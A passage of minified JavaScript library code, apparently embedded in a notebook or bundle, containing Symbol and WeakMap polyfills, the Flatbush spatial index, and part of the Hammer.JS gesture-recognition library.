constructor\\\");return r(t)},e.exports=r=function t(e){var i;if(this instanceof t)throw new TypeError(\\\"Symbol is not a constructor\\\");return s?n(e):(i=h(o.prototype),e=void 0===e?\\\"\\\":String(e),u(i,{__description__:a(\\\"\\\",e),__name__:a(\\\"\\\",f(e))}))},u(r,{for:a(function(t){return p[t]?p[t]:p[t]=r(String(t))}),keyFor:a(function(t){var e;for(e in l(t),p)if(p[e]===t)return e}),hasInstance:a(\\\"\\\",n&&n.hasInstance||r(\\\"hasInstance\\\")),isConcatSpreadable:a(\\\"\\\",n&&n.isConcatSpreadable||r(\\\"isConcatSpreadable\\\")),iterator:a(\\\"\\\",n&&n.iterator||r(\\\"iterator\\\")),match:a(\\\"\\\",n&&n.match||r(\\\"match\\\")),replace:a(\\\"\\\",n&&n.replace||r(\\\"replace\\\")),search:a(\\\"\\\",n&&n.search||r(\\\"search\\\")),species:a(\\\"\\\",n&&n.species||r(\\\"species\\\")),split:a(\\\"\\\",n&&n.split||r(\\\"split\\\")),toPrimitive:a(\\\"\\\",n&&n.toPrimitive||r(\\\"toPrimitive\\\")),toStringTag:a(\\\"\\\",n&&n.toStringTag||r(\\\"toStringTag\\\")),unscopables:a(\\\"\\\",n&&n.unscopables||r(\\\"unscopables\\\"))}),u(o.prototype,{constructor:a(r),toString:a(\\\"\\\",function(){return this.__name__})}),u(r.prototype,{toString:a(function(){return\\\"Symbol (\\\"+l(this).__description__+\\\")\\\"}),valueOf:a(function(){return l(this)})}),c(r.prototype,r.toPrimitive,a(\\\"\\\",function(){var t=l(this);return\\\"symbol\\\"==typeof t?t:t.toString()})),c(r.prototype,r.toStringTag,a(\\\"c\\\",\\\"Symbol\\\")),c(o.prototype,r.toStringTag,a(\\\"c\\\",r.prototype[r.toStringTag])),c(o.prototype,r.toPrimitive,a(\\\"c\\\",r.prototype[r.toPrimitive]))},function(t,e,i){var n=t(339);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not a symbol\\\");return t}},function(t,e,i){t(343)()||Object.defineProperty(t(297),\\\"WeakMap\\\",{value:t(345),configurable:!0,enumerable:!1,writable:!0})},function(t,e,i){e.exports=function(){var t,e;if(\\\"function\\\"!=typeof WeakMap)return!1;try{t=new WeakMap([[e={},\\\"one\\\"],[{},\\\"two\\\"],[{},\\\"three\\\"]])}catch(t){return!1}return\\\"[object WeakMap]\\\"===String(t)&&\\\"function\\\"==typeof t.set&&t.set({},1)===t&&\\\"function\\\"==typeof t.delete&&\\\"function\\\"==typeof t.has&&\\\"one\\\"===t.get(e)}},function(t,e,i){e.exports=\\\"function\\\"==typeof WeakMap&&\\\"[object WeakMap]\\\"===Object.prototype.toString.call(new WeakMap)},function(t,e,i){var n,r=t(318),o=t(322),s=t(323),a=t(328),l=t(289),h=t(331),u=t(330),c=t(337).toStringTag,_=t(344),p=Array.isArray,d=Object.defineProperty,f=Object.prototype.hasOwnProperty,v=Object.getPrototypeOf;e.exports=n=function(){var e,t=arguments[0];if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");return e=_&&r&&WeakMap!==n?r(new WeakMap,v(this)):this,null!=t&&(p(t)||(t=h(t))),d(e,\\\"__weakMapData__\\\",l(\\\"c\\\",\\\"$weakMap$\\\"+a())),t&&u(t,function(t){s(t),e.set(t[0],t[1])}),e},_&&(r&&r(n,WeakMap),n.prototype=Object.create(WeakMap.prototype,{constructor:l(n)})),Object.defineProperties(n.prototype,{delete:l(function(t){return!!f.call(o(t),this.__weakMapData__)&&(delete t[this.__weakMapData__],!0)}),get:l(function(t){if(f.call(o(t),this.__weakMapData__))return t[this.__weakMapData__]}),has:l(function(t){return f.call(o(t),this.__weakMapData__)}),set:l(function(t,e){return d(o(t),this.__weakMapData__,l(\\\"c\\\",e)),this}),toString:l(function(){return\\\"[object WeakMap]\\\"})}),d(n.prototype,c,l(\\\"c\\\",\\\"WeakMap\\\"))},function(t,e,i){var n,r;n=this,r=function(){\\\"use strict\\\";var l=[Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array],h=function(t,e,i,n){if(void 0===t)throw new Error(\\\"Missing required argument: numItems.\\\");if(isNaN(t)||t<=0)throw new Error(\\\"Unpexpected numItems value: \\\"+t+\\\".\\\");this.numItems=+t,this.nodeSize=Math.min(Math.max(+e||16,2),65535);var r=t,o=r;for(this._levelBounds=[4*r];r=Math.ceil(r/this.nodeSize),o+=r,this._levelBounds.push(4*o),1!==r;);this.ArrayType=i||Float64Array,this.IndexArrayType=o<16384?Uint16Array:Uint32Array;var s=l.indexOf(this.ArrayType),a=4*o*this.ArrayType.BYTES_PER_ELEMENT;if(s<0)throw new Error(\\\"Unexpected typed array class: \\\"+i+\\\".\\\");n&&n instanceof ArrayBuffer?(this.data=n,this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=4*o,this.minX=this._boxes[this._pos-4],this.minY=this._boxes[this._pos-3],this.maxX=this._boxes[this._pos-2],this.maxY=this._boxes[this._pos-1]):(this.data=new ArrayBuffer(8+a+o*this.IndexArrayType.BYTES_PER_ELEMENT),this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=0,this.minX=1/0,this.minY=1/0,this.maxX=-1/0,this.maxY=-1/0,new Uint8Array(this.data,0,2).set([251,48+s]),new Uint16Array(this.data,2,1)[0]=e,new Uint32Array(this.data,4,1)[0]=t)};function C(t,e,i,n,r){var o=t[n];t[n]=t[r],t[r]=o;var s=4*n,a=4*r,l=e[s],h=e[s+1],u=e[s+2],c=e[s+3];e[s]=e[a],e[s+1]=e[a+1],e[s+2]=e[a+2],e[s+3]=e[a+3],e[a]=l,e[a+1]=h,e[a+2]=u,e[a+3]=c;var _=i[n];i[n]=i[r],i[r]=_}function T(t,e){var i=t^e,n=65535^i,r=65535^(t|e),o=t&(65535^e),s=i|n>>1,a=i>>1^i,l=r>>1^n&o>>1^r,h=i&r>>1^o>>1^o;a=(i=s)&(n=a)>>2^n&(i^n)>>2,l^=i&(r=l)>>2^n&(o=h)>>2,h^=n&r>>2^(i^n)&o>>2,a=(i=s=i&i>>2^n&n>>2)&(n=a)>>4^n&(i^n)>>4,l^=i&(r=l)>>4^n&(o=h)>>4,h^=n&r>>4^(i^n)&o>>4,l^=(i=s=i&i>>4^n&n>>4)&(r=l)>>8^(n=a)&(o=h)>>8;var u=t^e,c=(n=(h^=n&r>>8^(i^n)&o>>8)^h>>1)|65535^(u|(i=l^l>>1));return((c=1431655765&((c=858993459&((c=252645135&((c=16711935&(c|c<<8))|c<<4))|c<<2))|c<<1))<<1|(u=1431655765&((u=858993459&((u=252645135&((u=16711935&(u|u<<8))|u<<4))|u<<2))|u<<1)))>>>0}return h.from=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Data must be an instance of ArrayBuffer.\\\");var e=new Uint8Array(t,0,2),i=e[0],n=e[1];if(251!==i)throw new Error(\\\"Data does not appear to be in a Flatbush format.\\\");if(n>>4!=3)throw new Error(\\\"Got v\\\"+(n>>4)+\\\" data when expected v3.\\\");var r=new Uint16Array(t,2,1),o=r[0],s=new Uint32Array(t,4,1),a=s[0];return new h(a,o,l[15&n],t)},h.prototype.add=function(t,e,i,n){var r=this._pos>>2;this._indices[r]=r,this._boxes[this._pos++]=t,this._boxes[this._pos++]=e,this._boxes[this._pos++]=i,this._boxes[this._pos++]=n,t<this.minX&&(this.minX=t),e<this.minY&&(this.minY=e),i>this.maxX&&(this.maxX=i),n>this.maxY&&(this.maxY=n)},h.prototype.finish=function(){var t=this;if(this._pos>>2!==this.numItems)throw new Error(\\\"Added \\\"+(this._pos>>2)+\\\" items when expected \\\"+this.numItems+\\\".\\\");for(var e=this.maxX-this.minX,i=this.maxY-this.minY,n=new Uint32Array(this.numItems),r=0;r<this.numItems;r++){var o=4*r,s=t._boxes[o++],a=t._boxes[o++],l=t._boxes[o++],h=t._boxes[o++],u=Math.floor(65535*((s+l)/2-t.minX)/e),c=Math.floor(65535*((a+h)/2-t.minY)/i);n[r]=T(u,c)}!function t(e,i,n,r,o){if(!(o<=r)){for(var s=e[r+o>>1],a=r-1,l=o+1;;){for(;e[++a]<s;);for(;e[--l]>s;);if(l<=a)break;C(e,i,n,a,l)}t(e,i,n,r,l),t(e,i,n,l+1,o)}}(n,this._boxes,this._indices,0,this.numItems-1);for(var _=0,p=0;_<this._levelBounds.length-1;_++)for(var d=t._levelBounds[_];p<d;){for(var f=1/0,v=1/0,m=-1/0,g=-1/0,y=p,b=0;b<this.nodeSize&&p<d;b++){var x=t._boxes[p++],w=t._boxes[p++],k=t._boxes[p++],S=t._boxes[p++];x<f&&(f=x),w<v&&(v=w),m<k&&(m=k),g<S&&(g=S)}t._indices[t._pos>>2]=y,t._boxes[t._pos++]=f,t._boxes[t._pos++]=v,t._boxes[t._pos++]=m,t._boxes[t._pos++]=g}},h.prototype.search=function(t,e,i,n,r){if(this._pos!==this._boxes.length)throw new Error(\\\"Data not yet indexed - call index.finish().\\\");for(var o=this._boxes.length-4,s=this._levelBounds.length-1,a=[],l=[];void 0!==o;){for(var h=Math.min(o+4*this.nodeSize,this._levelBounds[s]),u=o;u<h;u+=4){var c=this._indices[u>>2];i<this._boxes[u]||n<this._boxes[u+1]||t>this._boxes[u+2]||e>this._boxes[u+3]||(o<4*this.numItems?(void 0===r||r(c))&&l.push(c):(a.push(c),a.push(s-1)))}s=a.pop(),o=a.pop()}return l},h},\\\"object\\\"==typeof i&&void 0!==e?e.exports=r():n.Flatbush=r()},function(t,Yt,e){\\n\",\n       \"      /*! Hammer.JS - v2.0.7 - 2016-04-22\\n\",\n       \"           * http://hammerjs.github.io/\\n\",\n       \"           *\\n\",\n       \"           * Copyright (c) 2016 Jorik Tangelder;\\n\",\n       \"           * Licensed under the MIT license */\\n\",\n       \"      !function(o,a,t,x){\\\"use strict\\\";var s,l=[\\\"\\\",\\\"webkit\\\",\\\"Moz\\\",\\\"MS\\\",\\\"ms\\\",\\\"o\\\"],e=a.createElement(\\\"div\\\"),i=\\\"function\\\",h=Math.round,w=Math.abs,k=Date.now;function u(t,e,i){return setTimeout(f(t,i),e)}function n(t,e,i){return!!Array.isArray(t)&&(c(t,i[e],i),!0)}function c(t,e,i){var n;if(t)if(t.forEach)t.forEach(e,i);else if(t.length!==x)for(n=0;n<t.length;)e.call(i,t[n],n,t),n++;else for(n in t)t.hasOwnProperty(n)&&e.call(i,t[n],n,t)}function r(n,t,e){var r=\\\"DEPRECATED METHOD: \\\"+t+\\\"\\\\n\\\"+e+\\\" AT \\\\n\\\";return function(){var t=new Error(\\\"get-stack-trace\\\"),e=t&&t.stack?t.stack.replace(/^[^\\\\(]+?[\\\\n$]/gm,\\\"\\\").replace(/^\\\\s+at\\\\s+/gm,\\\"\\\").replace(/^Object.<anonymous>\\\\s*\\\\(/gm,\\\"{anonymous}()@\\\"):\\\"Unknown Stack Trace\\\",i=o.console&&(o.console.warn||o.console.log);return i&&i.call(o.console,r,e),n.apply(this,arguments)}}s=\\\"function\\\"!=typeof Object.assign?function(t){if(t===x||null===t)throw new TypeError(\\\"Cannot convert undefined or null to object\\\");for(var e=Object(t),i=1;i<arguments.length;i++){var n=arguments[i];if(n!==x&&null!==n)for(var r in n)n.hasOwnProperty(r)&&(e[r]=n[r])}return e}:Object.assign;var _=r(function(t,e,i){for(var n=Object.keys(e),r=0;r<n.length;)(!i||i&&t[n[r]]===x)&&(t[n[r]]=e[n[r]]),r++;return t},\\\"extend\\\",\\\"Use `assign`.\\\"),p=r(function(t,e){return _(t,e,!0)},\\\"merge\\\",\\\"Use `assign`.\\\");function d(t,e,i){var n,r=e.prototype;(n=t.prototype=Object.create(r)).constructor=t,n._super=r,i&&s(n,i)}function f(t,e){return function(){return t.apply(e,arguments)}}function v(t,e){return typeof t==i?t.apply(e&&e[0]||x,e):t}function m(t,e){return t===x?e:t}function g(e,t,i){c(C(t),function(t){e.addEventListener(t,i,!1)})}function y(e,t,i){c(C(t),function(t){e.removeEventListener(t,i,!1)})}function S(t,e){for(;t;){if(t==e)return!0;t=t.parentNode}return!1}function b(t,e){return-1<t.indexOf(e)}function C(t){return t.trim().split(/\\\\s+/g)}function T(t,e,i){if(t.indexOf&&!i)return t.indexOf(e);for(var n=0;n<t.length;){if(i&&t[n][i]==e||!i&&t[n]===e)return n;n++}return-1}function A(t){return Array.prototype.slice.call(t,0)}function E(t,i,e){for(var n=[],r=[],o=0;o<t.length;){var s=i?t[o][i]:t[o];T(r,s)<0&&n.push(t[o]),r[o]=s,o++}return e&&(n=i?n.sort(function(t,e){return t[i]>e[i]}):n.sort()),n}function M(t,e){for(var i,n,r=e[0].toUpperCase()+e.slice(1),o=0;o<l.length;){if(i=l[o],(n=i?i+r:e)in t)return n;o++}return x}var O=1;function z(t){var e=t.ownerDocument||t;return e.defaultView||e.parentWindow||o}var P=\\\"ontouchstart\\\"in o,j=M(o,\\\"PointerEvent\\\")!==x,N=P&&/mobile|tablet|ip(ad|hone|od)|android/i.test(navigator.userAgent),F=\\\"touch\\\",D=25,I=1,R=4,B=8,L=1,V=2,G=4,U=8,q=16,Y=V|G,X=U|q,H=Y|X,W=[\\\"x\\\",\\\"y\\\"],J=[\\\"clientX\\\",\\\"clientY\\\"];function Q(e,t){var i=this;this.manager=e,this.callback=t,this.element=e.element,this.target=e.options.inputTarget,this.domHandler=function(t){v(e.options.enable,[e])&&i.handler(t)},this.init()}function $(t,e,i){var n=i.pointers.length,r=i.changedPointers.length,o=e&I&&n-r==0,s=e&(R|B)&&n-r==0;i.isFirst=!!o,i.isFinal=!!s,o&&(t.session={}),i.eventType=e,function(t,e){var i=t.session,n=e.pointers,r=n.length;i.firstInput||(i.firstInput=K(e)),1<r&&!i.firstMultiple?i.firstMultiple=K(e):1===r&&(i.firstMultiple=!1);var o,s,a,l,h,u,c=i.firstInput,_=i.firstMultiple,p=_?_.center:c.center,d=e.center=Z(n);e.timeStamp=k(),e.deltaTime=e.timeStamp-c.timeStamp,e.angle=nt(p,d),e.distance=it(p,d),o=i,a=(s=e).center,l=o.offsetDelta||{},h=o.prevDelta||{},u=o.prevInput||{},s.eventType!==I&&u.eventType!==R||(h=o.prevDelta={x:u.deltaX||0,y:u.deltaY||0},l=o.offsetDelta={x:a.x,y:a.y}),s.deltaX=h.x+(a.x-l.x),s.deltaY=h.y+(a.y-l.y),e.offsetDirection=et(e.deltaX,e.deltaY);var f,v,m,g,y=tt(e.deltaTime,e.deltaX,e.deltaY);e.overallVelocityX=y.x,e.overallVelocityY=y.y,e.overallVelocity=w(y.x)>w(y.y)?y.x:y.y,e.scale=_?(m=_.pointers,it((g=n)[0],g[1],J)/it(m[0],m[1],J)):1,e.rotation=_?(f=_.pointers,nt((v=n)[1],v[0],J)+nt(f[1],f[0],J)):0,e.maxPointers=i.prevInput?e.pointers.length>i.prevInput.maxPointers?e.pointers.length:i.prevInput.maxPointers:e.pointers.length,function(t,e){var i,n,r,o,s=t.lastInterval||e,a=e.timeStamp-s.timeStamp;if(e.eventType!=B&&(D<a||s.velocity===x)){var l=e.deltaX-s.deltaX,h=e.deltaY-s.deltaY,u=tt(a,l,h);n=u.x,r=u.y,i=w(u.x)>w(u.y)?u.x:u.y,o=et(l,h),t.lastInterval=e}else i=s.velocity,n=s.velocityX,r=s.velocityY,o=s.direction;e.velocity=i,e.velocityX=n,e.velocityY=r,e.direction=o}(i,e);var b=t.element;S(e.srcEvent.target,b)&&(b=e.srcEvent.target),e.target=b}(t,i),t.emit(\\\"hammer.input\\\",i),t.recognize(i),t.session.prevInput=i}function K(t){for(var e=[],i=0;i<t.pointers.length;)e[i]={clientX:h(t.pointers[i].clientX),clientY:h(t.pointers[i].clientY)},i++;return{timeStamp:k(),pointers:e,center:Z(e),deltaX:t.deltaX,deltaY:t.deltaY}}function Z(t){var e=t.length;if(1===e)return{x:h(t[0].clientX),y:h(t[0].clientY)};for(var i=0,n=0,r=0;r<e;)i+=t[r].clientX,n+=t[r].clientY,r++;return{x:h(i/e),y:h(n/e)}}function tt(t,e,i){return{x:e/t||0,y:i/t||0}}function et(t,e){return t===e?L:w(t)>=w(e)?t<0?V:G:e<0?U:q}function it(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return Math.sqrt(n*n+r*r)}function nt(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return 180*Math.atan2(r,n)/Math.PI}Q.prototype={handler:function(){},init:function(){this.evEl&&g(this.element,this.evEl,this.domHandler),this.evTarget&&g(this.target,this.evTarget,this.domHandler),this.evWin&&g(z(this.element),this.evWin,this.domHandler)},destroy:function(){this.evEl&&y(this.element,this.evEl,this.domHandler),this.evTarget&&y(this.target,this.evTarget,this.domHandler),this.evWin&&y(z(this.element),this.evWin,this.domHandler)}};var rt={mousedown:I,mousemove:2,mouseup:R},ot=\\\"mousedown\\\",st=\\\"mousemove mouseup\\\";function at(){this.evEl=ot,this.evWin=st,this.pressed=!1,Q.apply(this,arguments)}d(at,Q,{handler:function(t){var e=rt[t.type];e&I&&0===t.button&&(this.pressed=!0),2&e&&1!==t.which&&(e=R),this.pressed&&(e&R&&(this.pressed=!1),this.callback(this.manager,e,{pointers:[t],changedPointers:[t],pointerType:\\\"mouse\\\",srcEvent:t}))}});var lt={pointerdown:I,pointermove:2,pointerup:R,pointercancel:B,pointerout:B},ht={2:F,3:\\\"pen\\\",4:\\\"mouse\\\",5:\\\"kinect\\\"},ut=\\\"pointerdown\\\",ct=\\\"pointermove pointerup pointercancel\\\";function _t(){this.evEl=ut,this.evWin=ct,Q.apply(this,arguments),this.store=this.manager.session.pointerEvents=[]}o.MSPointerEvent&&!o.PointerEvent&&(ut=\\\"MSPointerDown\\\",ct=\\\"MSPointerMove MSPointerUp MSPointerCancel\\\"),d(_t,Q,{handler:function(t){var e=this.store,i=!1,n=t.type.toLowerCase().replace(\\\"ms\\\",\\\"\\\"),r=lt[n],o=ht[t.pointerType]||t.pointerType,s=o==F,a=T(e,t.pointerId,\\\"pointerId\\\");r&I&&(0===t.button||s)?a<0&&(e.push(t),a=e.length-1):r&(R|B)&&(i=!0),a<0||(e[a]=t,this.callback(this.manager,r,{pointers:e,changedPointers:[t],pointerType:o,srcEvent:t}),i&&e.splice(a,1))}});var pt={touchstart:I,touchmove:2,touchend:R,touchcancel:B};function dt(){this.evTarget=\\\"touchstart\\\",this.evWin=\\\"touchstart touchmove touchend touchcancel\\\",this.started=!1,Q.apply(this,arguments)}d(dt,Q,{handler:function(t){var e=pt[t.type];if(e===I&&(this.started=!0),this.started){var i=function(t,e){var i=A(t.touches),n=A(t.changedTouches);return e&(R|B)&&(i=E(i.concat(n),\\\"identifier\\\",!0)),[i,n]}.call(this,t,e);e&(R|B)&&i[0].length-i[1].length==0&&(this.started=!1),this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}}});var ft={touchstart:I,touchmove:2,touchend:R,touchcancel:B},vt=\\\"touchstart touchmove touchend touchcancel\\\";function mt(){this.evTarget=vt,this.targetIds={},Q.apply(this,arguments)}d(mt,Q,{handler:function(t){var e=ft[t.type],i=function(t,e){var i=A(t.touches),n=this.targetIds;if(e&(2|I)&&1===i.length)return n[i[0].identifier]=!0,[i,i];var r,o,s=A(t.changedTouches),a=[],l=this.target;if(o=i.filter(function(t){return S(t.target,l)}),e===I)for(r=0;r<o.length;)n[o[r].identifier]=!0,r++;for(r=0;r<s.length;)n[s[r].identifier]&&a.push(s[r]),e&(R|B)&&delete n[s[r].identifier],r++;return a.length?[E(o.concat(a),\\\"identifier\\\",!0),a]:void 0}.call(this,t,e);i&&this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}});var gt=2500;function yt(){Q.apply(this,arguments);var t=f(this.handler,this);this.touch=new mt(this.manager,t),this.mouse=new at(this.manager,t),this.primaryTouch=null,this.lastTouches=[]}function bt(t){var e=t.changedPointers[0];if(e.identifier===this.primaryTouch){var i={x:e.clientX,y:e.clientY};this.lastTouches.push(i);var n=this.lastTouches;setTimeout(function(){var t=n.indexOf(i);-1<t&&n.splice(t,1)},gt)}}d(yt,Q,{handler:function(t,e,i){var n=i.pointerType==F,r=\\\"mouse\\\"==i.pointerType;if(!(r&&i.sourceCapabilities&&i.sourceCapabilities.firesTouchEvents)){if(n)(function(t,e){t&I?(this.primaryTouch=e.changedPointers[0].identifier,bt.call(this,e)):t&(R|B)&&bt.call(this,e)}).call(this,e,i);else if(r&&function(t){for(var e=t.srcEvent.clientX,i=t.srcEvent.clientY,n=0;n<this.lastTouches.length;n++){var r=this.lastTouches[n],o=Math.abs(e-r.x),s=Math.abs(i-r.y);if(o<=25&&s<=25)return!0}return!1}.call(this,i))return;this.callback(t,e,i)}},destroy:function(){this.touch.destroy(),this.mouse.destroy()}});var xt=M(e.style,\\\"touchAction\\\"),wt=xt!==x,kt=\\\"manipulation\\\",St=\\\"none\\\",Ct=\\\"pan-x\\\",Tt=\\\"pan-y\\\",At=function(){if(!wt)return!1;var e={},i=o.CSS&&o.CSS.supports;return[\\\"auto\\\",\\\"manipulation\\\",\\\"pan-y\\\",\\\"pan-x\\\",\\\"pan-x pan-y\\\",\\\"none\\\"].forEach(function(t){e[t]=!i||o.CSS.supports(\\\"touch-action\\\",t)}),e}();function Et(t,e){this.manager=t,this.set(e)}Et.prototype={set:function(t){\\\"compute\\\"==t&&(t=this.compute()),wt&&this.manager.element.style&&At[t]&&(this.manager.element.style[xt]=t),this.actions=t.toLowerCase().trim()},update:function(){this.set(this.manager.options.touchAction)},compute:function(){var e=[];return c(this.manager.recognizers,function(t){v(t.options.enable,[t])&&(e=e.concat(t.getTouchAction()))}),function(t){if(b(t,St))return St;var e=b(t,Ct),i=b(t,Tt);return e&&i?St:e||i?e?Ct:Tt:b(t,kt)?kt:\\\"auto\\\"}(e.join(\\\" \\\"))},preventDefaults:function(t){var e=t.srcEvent,i=t.offsetDirection;if(this.manager.session.prevented)e.preventDefault();else{var n=this.actions,r=b(n,St)&&!At.none,o=b(n,Tt)&&!At[Tt],s=b(n,Ct)&&!At[Ct];if(r){var a=1===t.pointers.length,l=t.distance<2,h=t.deltaTime<250;if(a&&l&&h)return}if(!s||!o)return r||o&&i&Y||s&&i&X?this.preventSrc(e):void 0}},preventSrc:function(t){this.manager.session.prevented=!0,t.preventDefault()}};var Mt=1;function Ot(t){this.options=s({},this.defaults,t||{}),this.id=O++,this.manager=null,this.options.enable=m(this.options.enable,!0),this.state=Mt,this.simultaneous={},this.requireFail=[]}function zt(t){return 16&t?\\\"cancel\\\":8&t?\\\"end\\\":4&t?\\\"move\\\":2&t?\\\"start\\\":\\\"\\\"}function Pt(t){return t==q?\\\"down\\\":t==U?\\\"up\\\":t==V?\\\"left\\\":t==G?\\\"right\\\":\\\"\\\"}function jt(t,e){var i=e.manager;return i?i.get(t):t}function Nt(){Ot.apply(this,arguments)}function Ft(){Nt.apply(this,arguments),this.pX=null,this.pY=null}function Dt(){Nt.apply(this,arguments)}function It(){Ot.apply(this,arguments),this._timer=null,this._input=null}function Rt(){Nt.apply(this,arguments)}function Bt(){Nt.apply(this,arguments)}function Lt(){Ot.apply(this,arguments),this.pTime=!1,this.pCenter=!1,this._timer=null,this._input=null,this.count=0}function Vt(t,e){return(e=e||{}).recognizers=m(e.recognizers,Vt.defaults.preset),new Gt(t,e)}function Gt(t,e){var i;this.options=s({},Vt.defaults,e||{}),this.options.inputTarget=this.options.inputTarget||t,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=t,this.input=new((i=this).options.inputClass||(j?_t:N?mt:P?yt:at))(i,$),this.touchAction=new Et(this,this.options.touchAction),Ut(this,!0),c(this.options.recognizers,function(t){var e=this.add(new t[0](t[1]));t[2]&&e.recognizeWith(t[2]),t[3]&&e.requireFailure(t[3])},this)}function Ut(i,n){var r,o=i.element;o.style&&(c(i.options.cssProps,function(t,e){r=M(o.style,e),n?(i.oldCssProps[r]=o.style[r],o.style[r]=t):o.style[r]=i.oldCssProps[r]||\\\"\\\"}),n||(i.oldCssProps={}))}Ot.prototype={defaults:{},set:function(t){return s(this.options,t),this.manager&&this.manager.touchAction.update(),this},recognizeWith:function(t){if(n(t,\\\"recognizeWith\\\",this))return this;var e=this.simultaneous;return t=jt(t,this),e[t.id]||(e[t.id]=t).recognizeWith(this),this},dropRecognizeWith:function(t){return n(t,\\\"dropRecognizeWith\\\",this)||(t=jt(t,this),delete this.simultaneous[t.id]),this},requireFailure:function(t){if(n(t,\\\"requireFailure\\\",this))return this;var e=this.requireFail;return t=jt(t,this),-1===T(e,t)&&(e.push(t),t.requireFailure(this)),this},dropRequireFailure:function(t){if(n(t,\\\"dropRequireFailure\\\",this))return this;t=jt(t,this);var e=T(this.requireFail,t);return-1<e&&this.requireFail.splice(e,1),this},hasRequireFailures:function(){return 0<this.requireFail.length},canRecognizeWith:function(t){return!!this.simultaneous[t.id]},emit:function(e){var i=this,t=this.state;function n(t){i.manager.emit(t,e)}t<8&&n(i.options.event+zt(t)),n(i.options.event),e.additionalEvent&&n(e.additionalEvent),8<=t&&n(i.options.event+zt(t))},tryEmit:function(t){if(this.canEmit())return this.emit(t);this.state=32},canEmit:function(){for(var t=0;t<this.requireFail.length;){if(!(this.requireFail[t].state&(32|Mt)))return!1;t++}return!0},recognize:function(t){var e=s({},t);if(!v(this.options.enable,[this,e]))return this.reset(),void(this.state=32);56&this.state&&(this.state=Mt),this.state=this.process(e),30&this.state&&this.tryEmit(e)},process:function(t){},getTouchAction:function(){},reset:function(){}},d(Nt,Ot,{defaults:{pointers:1},attrTest:function(t){var e=this.options.pointers;return 0===e||t.pointers.length===e},process:function(t){var e=this.state,i=t.eventType,n=6&e,r=this.attrTest(t);return n&&(i&B||!r)?16|e:n||r?i&R?8|e:2&e?4|e:2:32}}),d(Ft,Nt,{defaults:{event:\\\"pan\\\",threshold:10,pointers:1,direction:H},getTouchAction:function(){var t=this.options.direction,e=[];return t&Y&&e.push(Tt),t&X&&e.push(Ct),e},directionTest:function(t){var e=this.options,i=!0,n=t.distance,r=t.direction,o=t.deltaX,s=t.deltaY;return r&e.direction||(e.direction&Y?(r=0===o?L:o<0?V:G,i=o!=this.pX,n=Math.abs(t.deltaX)):(r=0===s?L:s<0?U:q,i=s!=this.pY,n=Math.abs(t.deltaY))),t.direction=r,i&&n>e.threshold&&r&e.direction},attrTest:function(t){return Nt.prototype.attrTest.call(this,t)&&(2&this.state||!(2&this.state)&&this.directionTest(t))},emit:function(t){this.pX=t.deltaX,this.pY=t.deltaY;var e=Pt(t.direction);e&&(t.additionalEvent=this.options.event+e),this._super.emit.call(this,t)}}),d(Dt,Nt,{defaults:{event:\\\"pinch\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.scale-1)>this.options.threshold||2&this.state)},emit:function(t){if(1!==t.scale){var e=t.scale<1?\\\"in\\\":\\\"out\\\";t.additionalEvent=this.options.event+e}this._super.emit.call(this,t)}}),d(It,Ot,{defaults:{event:\\\"press\\\",pointers:1,time:251,threshold:9},getTouchAction:function(){return[\\\"auto\\\"]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime>e.time;if(this._input=t,!n||!i||t.eventType&(R|B)&&!r)this.reset();else if(t.eventType&I)this.reset(),this._timer=u(function(){this.state=8,this.tryEmit()},e.time,this);else if(t.eventType&R)return 8;return 32},reset:function(){clearTimeout(this._timer)},emit:function(t){8===this.state&&(t&&t.eventType&R?this.manager.emit(this.options.event+\\\"up\\\",t):(this._input.timeStamp=k(),this.manager.emit(this.options.event,this._input)))}}),d(Rt,Nt,{defaults:{event:\\\"rotate\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.rotation)>this.options.threshold||2&this.state)}}),d(Bt,Nt,{defaults:{event:\\\"swipe\\\",threshold:10,velocity:.3,direction:Y|X,pointers:1},getTouchAction:function(){return Ft.prototype.getTouchAction.call(this)},attrTest:function(t){var e,i=this.options.direction;return i&(Y|X)?e=t.overallVelocity:i&Y?e=t.overallVelocityX:i&X&&(e=t.overallVelocityY),this._super.attrTest.call(this,t)&&i&t.offsetDirection&&t.distance>this.options.threshold&&t.maxPointers==this.options.pointers&&w(e)>this.options.velocity&&t.eventType&R},emit:function(t){var e=Pt(t.offsetDirection);e&&this.manager.emit(this.options.event+e,t),this.manager.emit(this.options.event,t)}}),d(Lt,Ot,{defaults:{event:\\\"tap\\\",pointers:1,taps:1,interval:300,time:250,threshold:9,posThreshold:10},getTouchAction:function(){return[kt]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime<e.time;if(this.reset(),t.eventType&I&&0===this.count)return this.failTimeout();if(n&&r&&i){if(t.eventType!=R)return this.failTimeout();var o=!this.pTime||t.timeStamp-this.pTime<e.interval,s=!this.pCenter||it(this.pCenter,t.center)<e.posThreshold;this.pTime=t.timeStamp,this.pCenter=t.center,s&&o?this.count+=1:this.count=1,this._input=t;var a=this.count%e.taps;if(0===a)return this.hasRequireFailures()?(this._timer=u(function(){this.state=8,this.tryEmit()},e.interval,this),2):8}return 32},failTimeout:function(){return 